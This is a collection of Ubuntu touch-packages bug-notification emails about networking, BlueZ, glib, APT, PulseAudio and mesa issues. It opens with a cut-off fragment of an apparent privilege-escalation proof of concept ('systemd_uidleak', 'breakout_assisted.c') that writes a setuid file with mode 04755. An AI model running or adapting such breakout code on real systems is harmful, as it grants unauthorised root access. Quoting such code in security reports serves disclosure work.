if (!getcwd(curpath, sizeof(curpath))) err(1, "unable to getpath()");
printf("chdir successful, am now in %s\n", curpath);

// create suid file
int src_fd = open("suid_src", O_RDONLY);
if (src_fd == -1) err(1, "open suid_src");
int dst_fd = open("suid_dst", O_RDWR|O_CREAT|O_EXCL, 0644);
if (dst_fd == -1) err(1, "open suid_dst");

while (1) {
  char buf[1000];
  ssize_t res = read(src_fd, buf, sizeof(buf));
  if (res == -1) err(1, "read");
  if (res == 0) break;
  ssize_t res2 = write(dst_fd, buf, res);
  if (res2 != res) err(1, "write");
}

if (fchmod(dst_fd, 04755)) err(1, "fchmod");
close(src_fd);
close(dst_fd);

// and that's it!
puts("done!");
while (1) pause();
return 0;
  }
  user@deb10:~/systemd_uidleak$ gcc -o breakout_assisted breakout_assisted.c 
  user@deb10:~/systemd_uidleak$ cat > breakout_helper.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
int rootfd = open(".", O_PATH);
if (rootfd < 0) err(1, "unable to 

[Touch-packages] [Bug 1815101] Re: [master] Restarting systemd-networkd breaks keepalived, heartbeat, corosync, pacemaker (interface aliases are restarted)

[Jasper Spaans]

For the people on Focal that want to use netplan and keepalived
together: you can just put in an override for the network unit file, to
keep systemd-networkd from touching your interface!

```
$ cat /etc/systemd/network/10-netplan-eno1.network.d/override.conf 
[Network]
KeepConfiguration=static
$
```

This might be a good enough workaround until this is really fixed.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1815101

Title:
  [master] Restarting systemd-networkd breaks keepalived, heartbeat,
  corosync, pacemaker (interface aliases are restarted)

Status in netplan:
  Confirmed
Status in heartbeat package in Ubuntu:
  Won't Fix
Status in keepalived package in Ubuntu:
  In Progress
Status in systemd package in Ubuntu:
  In Progress
Status in keepalived source package in Xenial:
  Confirmed
Status in systemd source package in Xenial:
  Won't Fix
Status in keepalived source package in Bionic:
  Confirmed
Status in systemd source package in Bionic:
  Incomplete
Status in systemd source package in Disco:
  Won't Fix
Status in systemd source package in Eoan:
  Fix Released
Status in keepalived source package in Focal:
  Confirmed
Status in systemd source package in Focal:
  Fix Released

Bug description:
  [impact]

  - ALL related HA software has a small problem if interfaces are being
  managed by systemd-networkd: nic restarts/reconfigs are always going
  to wipe all interfaces aliases when HA software is not expecting it to
  (no coordination between them.

  - keepalived, smb ctdb, pacemaker, all suffer from this. Pacemaker is
  smarter in this case because it has a service monitor that will
  restart the virtual IP resource, in affected node & nic, before
  considering a real failure, but other HA service might consider a real
  failure when it is not.

  [test case]

  - comment #14 is a full test case: to have 3 node pacemaker, in that
  example, and cause a networkd service restart: it will trigger a
  failure for the virtual IP resource monitor.

  - other example is given in the original description for keepalived.
  both suffer from the same issue (and other HA softwares as well).

  [regression potential]

  - this backports KeepConfiguration parameter, which adds some
  significant complexity to networkd's configuration and behavior, which
  could lead to regressions in correctly configuring the network at
  networkd start, or incorrectly maintaining configuration at networkd
  restart, or losing network state at networkd stop.

  - Any regressions are most likely to occur during networkd start,
  restart, or stop, and most likely to involve missing or incorrect ip
  address(es).

  - the change is based in upstream patches adding the exact feature we
  needed to fix this issue & it will be integrated with a netplan change
  to add the needed stanza to systemd nic configuration file
  (KeepConfiguration=)

  [other info]

  original description:
  ---

  Configure netplan for interfaces, for example (a working config with
  IP addresses obfuscated)

  network:
  ethernets:
  eth0:
  addresses: [192.168.0.5/24]
  dhcp4: false
  nameservers:
    search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com, 
phone.blah.com]
    addresses: [10.22.11.1]
  eth2:
  addresses:
    - 12.13.14.18/29
    - 12.13.14.19/29
  gateway4: 12.13.14.17
  dhcp4: false
  nameservers:
    search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com, 
phone.blah.com]
    addresses: [10.22.11.1]
  eth3:
  addresses: [10.22.11.6/24]
  dhcp4: false
  nameservers:
    search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com, 
phone.blah.com]
    addresses: [10.22.11.1]
  eth4:
  addresses: [10.22.14.6/24]
  dhcp4: false
  nameservers:
    search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com, 
phone.blah.com]
    addresses: [10.22.11.1]
  eth7:
  addresses: [9.5.17.34/29]
  dhcp4: false
  optional: true
  nameservers:
    search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com, 
phone.blah.com]
    addresses: [10.22.11.1]
  version: 2

  Configure keepalived (again, a working config with IP addresses
  obfuscated)

  global_defs   # Block id
  {
  notification_email {
  sysadm...@blah.com
  }
  notification_email_from keepali...@system3.hq.blah.com
  smtp_server 10.22.11.7 # IP
  smtp_connect_timeout 30  # integer, seconds
  router_id system3  # string identifying the machine,
   # 

[Touch-packages] [Bug 1916570] Re: BlueZ 5.56 release

[Sebastien Bacher]

** Changed in: bluez (Ubuntu)
   Status: In Progress => Fix Committed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1916570

Title:
  BlueZ 5.56 release

Status in bluez package in Ubuntu:
  Fix Committed

Bug description:
  BlueZ 5.56 is now available:

  https://mirrors.edge.kernel.org/pub/linux/bluetooth/

  ver 5.56:
  Fix issue with setting AVDTP disconnect timer.
  Fix issue with AVDTP not sending GetCapabilities.
  Fix issue with AVDTP connecting using streaming mode.
  Fix issue with handling A2DP and remote SEP disappearing.
  Fix issue with handling session of A2DP channels.
  Fix issue with GATT and handling device removal.
  Fix issue with GATT not accepting multiple requests.
  Fix issue with HID report value callback registration.
  Add support for new advertising management command.
  Add support for battery D-Bus interface.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1916570/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916570] Re: BlueZ 5.56 release

[Sebastien Bacher]

Those packaging cleanups wouldn't do any difference in practice, we are
a bit late in the cycle now to waste time on that but we should merge
next cycle

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1916570

Title:
  BlueZ 5.56 release

Status in bluez package in Ubuntu:
  Fix Committed

Bug description:
  BlueZ 5.56 is now available:

  https://mirrors.edge.kernel.org/pub/linux/bluetooth/

  ver 5.56:
  Fix issue with setting AVDTP disconnect timer.
  Fix issue with AVDTP not sending GetCapabilities.
  Fix issue with AVDTP connecting using streaming mode.
  Fix issue with handling A2DP and remote SEP disappearing.
  Fix issue with handling session of A2DP channels.
  Fix issue with GATT and handling device removal.
  Fix issue with GATT not accepting multiple requests.
  Fix issue with HID report value callback registration.
  Add support for new advertising management command.
  Add support for battery D-Bus interface.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1916570/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916701] Re: [glib2.0 2.67.4-1] Black screen on boot, login screen missing/delayed, eventually comes up without Wayland support (only Xorg sessions offered)

[Daniel van Vugt]

Verified the fix from upstream works:

https://gitlab.gnome.org/GNOME/glib/-/merge_requests/1958.patch

It's coming in 2.67.5

** Tags added: fixed-in-2.67.5 fixed-upstream

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to glib2.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1916701

Title:
  [glib2.0 2.67.4-1] Black screen on boot, login screen missing/delayed,
  eventually comes up without Wayland support (only Xorg sessions
  offered)

Status in GLib:
  Unknown
Status in glib2.0 package in Ubuntu:
  Triaged

Bug description:
  When I installed the glib2.0 2.67.4-1 packages I consistently
  encountered a black screen on boot. The login screen was
  missing/delayed but eventually comes up without Wayland support (only
  Xorg sessions offered).

To manage notifications about this bug go to:
https://bugs.launchpad.net/glib/+bug/1916701/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916729] Re: libnss3 package in Ubuntu 20.10 ships files under `/usr/lib/${DEB_HOST_MULTIARCH}` literally without expansion

[Buo-ren, Lin]

This bug is not reproducible in Ubuntu <20.10, refer:

https://packages.ubuntu.com/groovy/amd64/libnss3/filelist
https://packages.ubuntu.com/focal/amd64/libnss3/filelist

And is available in all architectures.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to nss in Ubuntu.
https://bugs.launchpad.net/bugs/1916729

Title:
  libnss3 package in Ubuntu 20.10 ships files under
  `/usr/lib/${DEB_HOST_MULTIARCH}` literally without expansion

Status in nss package in Ubuntu:
  New

Bug description:
  ```
  brlin@groovy:~$ dpkg-query --listfiles libnss3
  /.
  /usr
  /usr/lib
  /usr/lib/${DEB_HOST_MULTIARCH}

  ...stripped...

  /usr/lib/${DEB_HOST_MULTIARCH}/libfreebl3.chk
  /usr/lib/${DEB_HOST_MULTIARCH}/libfreebl3.so
  /usr/lib/${DEB_HOST_MULTIARCH}/libfreeblpriv3.chk
  /usr/lib/${DEB_HOST_MULTIARCH}/libfreeblpriv3.so
  ```

  The path appears to be a result of a failed parameter expansion.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/nss/+bug/1916729/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916729] [NEW] libnss3 package in Ubuntu 20.10 ships files under `/usr/lib/${DEB_HOST_MULTIARCH}` literally without expansion

[Buo-ren, Lin]

Public bug reported:

```
brlin@groovy:~$ dpkg-query --listfiles libnss3
/.
/usr
/usr/lib
/usr/lib/${DEB_HOST_MULTIARCH}

...stripped...

/usr/lib/${DEB_HOST_MULTIARCH}/libfreebl3.chk
/usr/lib/${DEB_HOST_MULTIARCH}/libfreebl3.so
/usr/lib/${DEB_HOST_MULTIARCH}/libfreeblpriv3.chk
/usr/lib/${DEB_HOST_MULTIARCH}/libfreeblpriv3.so
```

The path appears to be a result of a failed parameter expansion.

** Affects: nss (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to nss in Ubuntu.
https://bugs.launchpad.net/bugs/1916729

Title:
  libnss3 package in Ubuntu 20.10 ships files under
  `/usr/lib/${DEB_HOST_MULTIARCH}` literally without expansion

Status in nss package in Ubuntu:
  New

Bug description:
  ```
  brlin@groovy:~$ dpkg-query --listfiles libnss3
  /.
  /usr
  /usr/lib
  /usr/lib/${DEB_HOST_MULTIARCH}

  ...stripped...

  /usr/lib/${DEB_HOST_MULTIARCH}/libfreebl3.chk
  /usr/lib/${DEB_HOST_MULTIARCH}/libfreebl3.so
  /usr/lib/${DEB_HOST_MULTIARCH}/libfreeblpriv3.chk
  /usr/lib/${DEB_HOST_MULTIARCH}/libfreeblpriv3.so
  ```

  The path appears to be a result of a failed parameter expansion.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/nss/+bug/1916729/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916701] Re: [glib2.0 2.67.4-1] Black screen on boot, login screen missing/delayed, eventually comes up without Wayland support (only Xorg sessions offered)

[Daniel van Vugt]

** Changed in: glib2.0 (Ubuntu)
   Status: New => Triaged

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to glib2.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1916701

Title:
  [glib2.0 2.67.4-1] Black screen on boot, login screen missing/delayed,
  eventually comes up without Wayland support (only Xorg sessions
  offered)

Status in GLib:
  Unknown
Status in glib2.0 package in Ubuntu:
  Triaged

Bug description:
  When I installed the glib2.0 2.67.4-1 packages I consistently
  encountered a black screen on boot. The login screen was
  missing/delayed but eventually comes up without Wayland support (only
  Xorg sessions offered).

To manage notifications about this bug go to:
https://bugs.launchpad.net/glib/+bug/1916701/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916701] Re: [glib2.0 2.67.4-1] Black screen on boot, login screen missing/delayed, eventually comes up without Wayland support (only Xorg sessions offered)

[Daniel van Vugt]

Tracking in https://gitlab.gnome.org/GNOME/glib/-/issues/2332 although
that one does not look familiar. One of its duplicates looks more
familiar: https://gitlab.gnome.org/GNOME/gnome-shell/-/issues/3744

** Bug watch added: gitlab.gnome.org/GNOME/glib/-/issues #2332
   https://gitlab.gnome.org/GNOME/glib/-/issues/2332

** Also affects: glib via
   https://gitlab.gnome.org/GNOME/glib/-/issues/2332
   Importance: Unknown
   Status: Unknown

** Bug watch added: gitlab.gnome.org/GNOME/gnome-shell/-/issues #3744
   https://gitlab.gnome.org/GNOME/gnome-shell/-/issues/3744

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to glib2.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1916701

Title:
  [glib2.0 2.67.4-1] Black screen on boot, login screen missing/delayed,
  eventually comes up without Wayland support (only Xorg sessions
  offered)

Status in GLib:
  Unknown
Status in glib2.0 package in Ubuntu:
  New

Bug description:
  When I installed the glib2.0 2.67.4-1 packages I consistently
  encountered a black screen on boot. The login screen was
  missing/delayed but eventually comes up without Wayland support (only
  Xorg sessions offered).

To manage notifications about this bug go to:
https://bugs.launchpad.net/glib/+bug/1916701/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916725] [NEW] Protected/Important packages are not deconfigured, require Force-LoopBreak

[Julian Andres Klode]

Public bug reported:

[Impact]
If a package that is Protected: yes (or Important: yes), or one of it's 
dependencies, is involved in a dependency loop with Breaks, APT requires 
APT::Force-LoopBreak instead of resolving the situation directly.

[Test plan]
Run the integration test suite (the autopkgtest) :)

Our test suite covers the tests for both Breaks and Conflicts.

Breaks:

protected-sysvinit (= 1) without dependencies is installed
protected-sysvinit (= 2) Pre-Depends protected-systemd-sysv
protected-systemd-sysv (= 2) Breaks: protected-sysvinit (<< 2)

Test: Install protected-sysvinit (= 2)
Expected result: Unpacking protected-sysvinit (= 2) deconfigures 
protected-sysvinit (= 1), and then we unpack and configure protected-sysvinit 
(= 2) and end up with a working system.

Conflicts: As for Breaks, but the Conflicts will remove the package
temporarily, requiring the use of APT::Force-LoopBreak option.

[Where problems could occur]
We now allow dpkg to automatically deconfigure protected packages. This should 
just make them behave like normal packages to APT's eye, but bugs I guess could 
occur somewhere in the APT/dpkg interaction (this only applies to releases with 
Protected support in dpkg, Important is not affected, it's always been "normal" 
for dpkg).

During development, we accidentally simplified the patch so much that
Conflicts did not require Force-LoopBreak for temporary removal. We
fixed that, but it points out that there is a place where the loop break
check happens that is a potential regression place.

** Affects: apt (Ubuntu)
 Importance: Undecided
 Status: Triaged

** Affects: apt (Ubuntu Bionic)
 Importance: Undecided
 Status: Triaged

** Affects: apt (Ubuntu Focal)
 Importance: Undecided
 Status: Triaged

** Affects: apt (Ubuntu Groovy)
 Importance: Undecided
 Status: Triaged

** Affects: apt (Ubuntu Hirsute)
 Importance: Undecided
 Status: Triaged

** Description changed:

  [Impact]
  If a package that is Protected: yes (or Important: yes), or one of it's 
dependencies, is involved in a dependency loop with Breaks, APT requires 
APT::Force-LoopBreak instead of resolving the situation directly.
  
  [Test plan]
  Our test suite covers the tests for both Breaks and Conflicts.
  
  Breaks:
  
  protected-sysvinit (= 1) without dependencies is installed
  protected-sysvinit (= 2) Pre-Depends protected-systemd-sysv
  protected-systemd-sysv (= 2) Breaks: protected-sysvinit (<< 2)
  
  Test: Install protected-sysvinit (= 2)
  Expected result: Unpacking protected-sysvinit (= 2) deconfigures 
protected-sysvinit (= 1), and then we unpack and configure protected-sysvinit 
(= 2) and end up with a working system.
  
  Conflicts: As for Breaks, but the Conflicts will remove the package
  temporarily, requiring the use of APT::Force-LoopBreak option.
  
- 
  [Where problems could occur]
- We now allow dpkg to automatically deconfigure protected packages. This 
should just make them behave like normal packages to APT's eye, but bugs I 
guess could occur somewhere in the APT/dpkg interaction.
+ We now allow dpkg to automatically deconfigure protected packages. This 
should just make them behave like normal packages to APT's eye, but bugs I 
guess could occur somewhere in the APT/dpkg interaction (this only applies to 
releases with Protected support in dpkg, Important is not affected, it's always 
been "normal" for dpkg).
  
  During development, we accidentally simplified the patch so much that
  Conflicts did not require Force-LoopBreak for temporary removal. We
  fixed that, but it points out that there is a place where the loop break
  check happens that is a potential regression place.

** Also affects: apt (Ubuntu Focal)
   Importance: Undecided
   Status: New

** Also affects: apt (Ubuntu Hirsute)
   Importance: Undecided
   Status: New

** Also affects: apt (Ubuntu Groovy)
   Importance: Undecided
   Status: New

** Also affects: apt (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Changed in: apt (Ubuntu Hirsute)
   Status: New => Triaged

** Changed in: apt (Ubuntu Groovy)
   Status: New => Incomplete

** Changed in: apt (Ubuntu Groovy)
   Status: Incomplete => Triaged

** Changed in: apt (Ubuntu Focal)
   Status: New => Triaged

** Changed in: apt (Ubuntu Bionic)
   Status: New => Triaged

** Description changed:

  [Impact]
  If a package that is Protected: yes (or Important: yes), or one of it's 
dependencies, is involved in a dependency loop with Breaks, APT requires 
APT::Force-LoopBreak instead of resolving the situation directly.
  
  [Test plan]
+ Run the integration test suite (the autopkgtest) :)
+ 
  Our test suite covers the tests for both Breaks and Conflicts.
  
  Breaks:
  
  protected-sysvinit (= 1) without dependencies is installed
  protected-sysvinit (= 2) Pre-Depends protected-systemd-sysv
  protected-systemd-sysv (= 2) Breaks: protected-sysvinit (<< 2)
  
  

[Touch-packages] [Bug 1914740] Re: IPs are not assigned for Hipersockets in DHCP mode

[Dimitri John Ledkov]

My preference would be to fix networkd, if that fails netplan, and isc-
dhcp only if there is syntax to online the device in the right l2/l3
state via kernel cmdline and that one needs to complete install over it.

For example, does automatic chzdev device enablement provides
autoconfiguration for hipersockets in l3? in that case it would be neat
for ip=dhcp to just do the right thing.

** Also affects: systemd (Ubuntu)
   Importance: Undecided
   Status: New

** Changed in: systemd (Ubuntu)
   Status: New => Confirmed

** Changed in: netplan.io (Ubuntu)
   Status: New => Confirmed

** Also affects: isc-dhcp (Ubuntu)
   Importance: Undecided
   Status: New

** Changed in: isc-dhcp (Ubuntu)
   Importance: Undecided => Low

** Changed in: isc-dhcp (Ubuntu)
   Status: New => Confirmed

** Changed in: systemd (Ubuntu)
   Importance: Undecided => High

** Changed in: netplan.io (Ubuntu)
   Importance: Undecided => Low

** Changed in: isc-dhcp (Ubuntu)
   Importance: Low => Wishlist

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1914740

Title:
  IPs are not assigned for Hipersockets in DHCP mode

Status in Ubuntu on IBM z Systems:
  Incomplete
Status in isc-dhcp package in Ubuntu:
  Confirmed
Status in netplan.io package in Ubuntu:
  Confirmed
Status in systemd package in Ubuntu:
  Confirmed

Bug description:
  ---Problem Description---
  IPs are not getting assigned for Hipersockets in DHCP mode
   
  Contact Information = Asha Shekharappa(ashsh...@in.ibm.com)  
Sankar(sankar...@in.ibm.com) 
   
  ---uname output---
  52-Ubuntu SMP Thu Sep 10 10:59:04 UTC 2020 s390x s390x s390x GNU/Linux
   
  Machine Type = s390x 
   
  ---Debugger---
  A debugger is not configured
   
  ---Steps to Reproduce---
   Ubuntu 20.04
  Netplan with systemd-networkd as renderer

  Creating ethernet connection on Hipersockets device in DHCP mode fails
  to assign IPs

  1. Configure a Hipersockets device
 chzdev -e 0.0.8f00

  2. Create a .yaml file with the below details

  network:
  version: 2
  ethernets:
  enc8f00:
  dhcp4: yes

  3. netplan apply

  
  4. The IP is not assigned as seen below

  root@M96SANKAR:/etc/netplan# ip a s

  enc8f00:  mtu 32768 qdisc mq state UP 
group default qlen 1000
  link/ether fe:da:af:44:08:02 brd ff:ff:ff:ff:ff:ff

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-z-systems/+bug/1914740/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1914740] Re: IPs are not assigned for Hipersockets in DHCP mode

[Dimitri John Ledkov]

Would turning on RequestBroadcast=yes for ID_NET_DRIVER=qeth_l3
interfaces be good enough in networkd?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1914740

Title:
  IPs are not assigned for Hipersockets in DHCP mode

Status in Ubuntu on IBM z Systems:
  Incomplete
Status in isc-dhcp package in Ubuntu:
  Confirmed
Status in netplan.io package in Ubuntu:
  Confirmed
Status in systemd package in Ubuntu:
  Confirmed

Bug description:
  ---Problem Description---
  IPs are not getting assigned for Hipersockets in DHCP mode
   
  Contact Information = Asha Shekharappa(ashsh...@in.ibm.com)  
Sankar(sankar...@in.ibm.com) 
   
  ---uname output---
  52-Ubuntu SMP Thu Sep 10 10:59:04 UTC 2020 s390x s390x s390x GNU/Linux
   
  Machine Type = s390x 
   
  ---Debugger---
  A debugger is not configured
   
  ---Steps to Reproduce---
   Ubuntu 20.04
  Netplan with systemd-networkd as renderer

  Creating ethernet connection on Hipersockets device in DHCP mode fails
  to assign IPs

  1. Configure a Hipersockets device
 chzdev -e 0.0.8f00

  2. Create a .yaml file with the below details

  network:
  version: 2
  ethernets:
  enc8f00:
  dhcp4: yes

  3. netplan apply

  
  4. The IP is not assigned as seen below

  root@M96SANKAR:/etc/netplan# ip a s

  enc8f00:  mtu 32768 qdisc mq state UP 
group default qlen 1000
  link/ether fe:da:af:44:08:02 brd ff:ff:ff:ff:ff:ff

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-z-systems/+bug/1914740/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916701] Re: [glib2.0 2.67.4-1] Black screen on boot, login screen missing/delayed, eventually comes up without Wayland support (only Xorg sessions offered)

[Daniel van Vugt]

Building GNOME 40 from git has the same bug, surprisingly:

  * Wayland instances hang and never start properly;
  * Xorg instances start immediately without error.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to glib2.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1916701

Title:
  [glib2.0 2.67.4-1] Black screen on boot, login screen missing/delayed,
  eventually comes up without Wayland support (only Xorg sessions
  offered)

Status in glib2.0 package in Ubuntu:
  New

Bug description:
  When I installed the glib2.0 2.67.4-1 packages I consistently
  encountered a black screen on boot. The login screen was
  missing/delayed but eventually comes up without Wayland support (only
  Xorg sessions offered).

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/glib2.0/+bug/1916701/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916722] [NEW] Pulseaudio fails to start after reboot if home partition is encrypted

[Anton Keks]

Public bug reported:

It seems that with Ubuntu 20.10, Pulseaudio now tries to start as main
user too early, before user logs in and the home partition is decrypted.
Probably pulseaudio should not start as main user before login of this
user.

Starting pulseaudio manually after login works.

grep 'pulseaudio' /var/log/syslog
Feb 24 10:52:31 aziber systemd[1451]: Not generating service for XDG autostart 
app-pulseaudio-autostart.service, startup phases are not supported.
Feb 24 10:52:31 aziber dbus-daemon[972]: [system] Activating via systemd: 
service name='org.freedesktop.RealtimeKit1' unit='rtkit-daemon.service' 
requested by ':1.30' (uid=123 pid=1497 comm="/usr/bin/pulseaudio --daemonize=no 
--log-target=jo" label="unconfined")
Feb 24 10:52:38 aziber systemd[3631]: Not generating service for XDG autostart 
app-pulseaudio-autostart.service, startup phases are not supported.
Feb 24 10:52:38 aziber pulseaudio[3690]: Failed to create secure directory 
(/home/anton/.config/pulse): No such file or directory
Feb 24 10:52:38 aziber systemd[3609]: pulseaudio.service: Main process exited, 
code=exited, status=1/FAILURE
Feb 24 10:52:38 aziber systemd[3609]: pulseaudio.service: Failed with result 
'exit-code'.
Feb 24 10:52:38 aziber systemd[3609]: pulseaudio.service: Scheduled restart 
job, restart counter is at 1.
Feb 24 10:52:38 aziber pulseaudio[3899]: Failed to create secure directory 
(/home/anton/.config/pulse): No such file or directory
Feb 24 10:52:38 aziber systemd[3609]: pulseaudio.service: Main process exited, 
code=exited, status=1/FAILURE
Feb 24 10:52:38 aziber systemd[3609]: pulseaudio.service: Failed with result 
'exit-code'.
Feb 24 10:52:39 aziber systemd[3609]: pulseaudio.service: Scheduled restart 
job, restart counter is at 2.
Feb 24 10:52:39 aziber pulseaudio[4128]: Failed to create secure directory 
(/home/anton/.config/pulse): No such file or directory
Feb 24 10:52:39 aziber systemd[3609]: pulseaudio.service: Main process exited, 
code=exited, status=1/FAILURE
Feb 24 10:52:39 aziber systemd[3609]: pulseaudio.service: Failed with result 
'exit-code'.
Feb 24 10:52:39 aziber systemd[3609]: pulseaudio.service: Scheduled restart 
job, restart counter is at 3.
Feb 24 10:52:39 aziber pulseaudio[4311]: Failed to create secure directory 
(/home/anton/.config/pulse): No such file or directory
Feb 24 10:52:39 aziber systemd[3609]: pulseaudio.service: Main process exited, 
code=exited, status=1/FAILURE
Feb 24 10:52:39 aziber systemd[3609]: pulseaudio.service: Failed with result 
'exit-code'.
Feb 24 10:52:39 aziber systemd[3609]: pulseaudio.service: Scheduled restart 
job, restart counter is at 4.
Feb 24 10:52:39 aziber pulseaudio[4493]: Failed to create secure directory 
(/home/anton/.config/pulse): No such file or directory
Feb 24 10:52:39 aziber systemd[3609]: pulseaudio.service: Main process exited, 
code=exited, status=1/FAILURE
Feb 24 10:52:39 aziber systemd[3609]: pulseaudio.service: Failed with result 
'exit-code'.
Feb 24 10:52:39 aziber systemd[3609]: pulseaudio.service: Scheduled restart 
job, restart counter is at 5.
Feb 24 10:52:39 aziber systemd[3609]: pulseaudio.service: Start request 
repeated too quickly.
Feb 24 10:52:39 aziber systemd[3609]: pulseaudio.service: Failed with result 
'exit-code'.
Feb 24 10:52:39 aziber systemd[3609]: pulseaudio.socket: Failed with result 
'service-start-limit-hit'.
Feb 24 10:52:42 aziber pulseaudio.desktop[5720]: Connection failure: Connection 
refused
Feb 24 10:52:42 aziber pulseaudio.desktop[5720]: pa_context_connect() failed: 
Connection refused
Feb 24 10:52:42 aziber gnome-session[5663]: gnome-session-binary[5663]: 
WARNING: App 'pulseaudio.desktop' exited with code 1
Feb 24 10:52:42 aziber gnome-session-binary[5663]: WARNING: App 
'pulseaudio.desktop' exited with code 1
Feb 24 10:52:42 aziber systemd[3609]: app-gnome-pulseaudio-5715.scope: Failed 
to add PIDs to scope's control group: No such process
Feb 24 10:52:42 aziber systemd[3609]: app-gnome-pulseaudio-5715.scope: Failed 
with result 'resources'.
Feb 24 10:52:45 aziber systemd[1432]: pulseaudio.service: Succeeded.
Feb 24 10:52:55 aziber systemd[1432]: pulseaudio.socket: Succeeded.

ProblemType: Bug
DistroRelease: Ubuntu 20.10
Package: pulseaudio 1:13.99.2-1ubuntu2.3
ProcVersionSignature: Ubuntu 5.8.0-44.50-generic 5.8.18
Uname: Linux 5.8.0-44-generic x86_64
ApportVersion: 2.20.11-0ubuntu50.5
Architecture: amd64
AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/by-path', 
'/dev/snd/controlC0', '/dev/snd/hwC0D0', '/dev/snd/hwC0D2', 
'/dev/snd/pcmC0D5p', '/dev/snd/pcmC0D4p', '/dev/snd/pcmC0D3p', 
'/dev/snd/pcmC0D1c', '/dev/snd/pcmC0D1p', '/dev/snd/pcmC0D0c', 
'/dev/snd/pcmC0D0p', '/dev/snd/pcmC0D7c', '/dev/snd/pcmC0D6c', '/dev/snd/seq', 
'/dev/snd/timer'] failed with exit code 1:
CasperMD5CheckResult: skip
CurrentDesktop: ubuntu:GNOME
Date: Wed Feb 24 10:57:51 2021
InstallationDate: Installed on 2019-11-29 (452 days ago)
InstallationMedia: Ubuntu 19.04 "Disco Dingo" - Release amd64 

Re: [Touch-packages] [Bug 1915870] Re: gnome-session-check-accelerated-gl-helper crashed with SIGSEGV in cso_destroy_context() [r300_dri.so]

[Santosh S]

Sure. Thanks a lot. Looks like this has worked for Mark. So I will give this a 
try as well...
Regards,Santosh

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1915870

Title:
  gnome-session-check-accelerated-gl-helper crashed with SIGSEGV in
  cso_destroy_context() [r300_dri.so]

Status in Mesa:
  Unknown
Status in mesa package in Ubuntu:
  Triaged
Status in mesa package in Fedora:
  Unknown

Bug description:
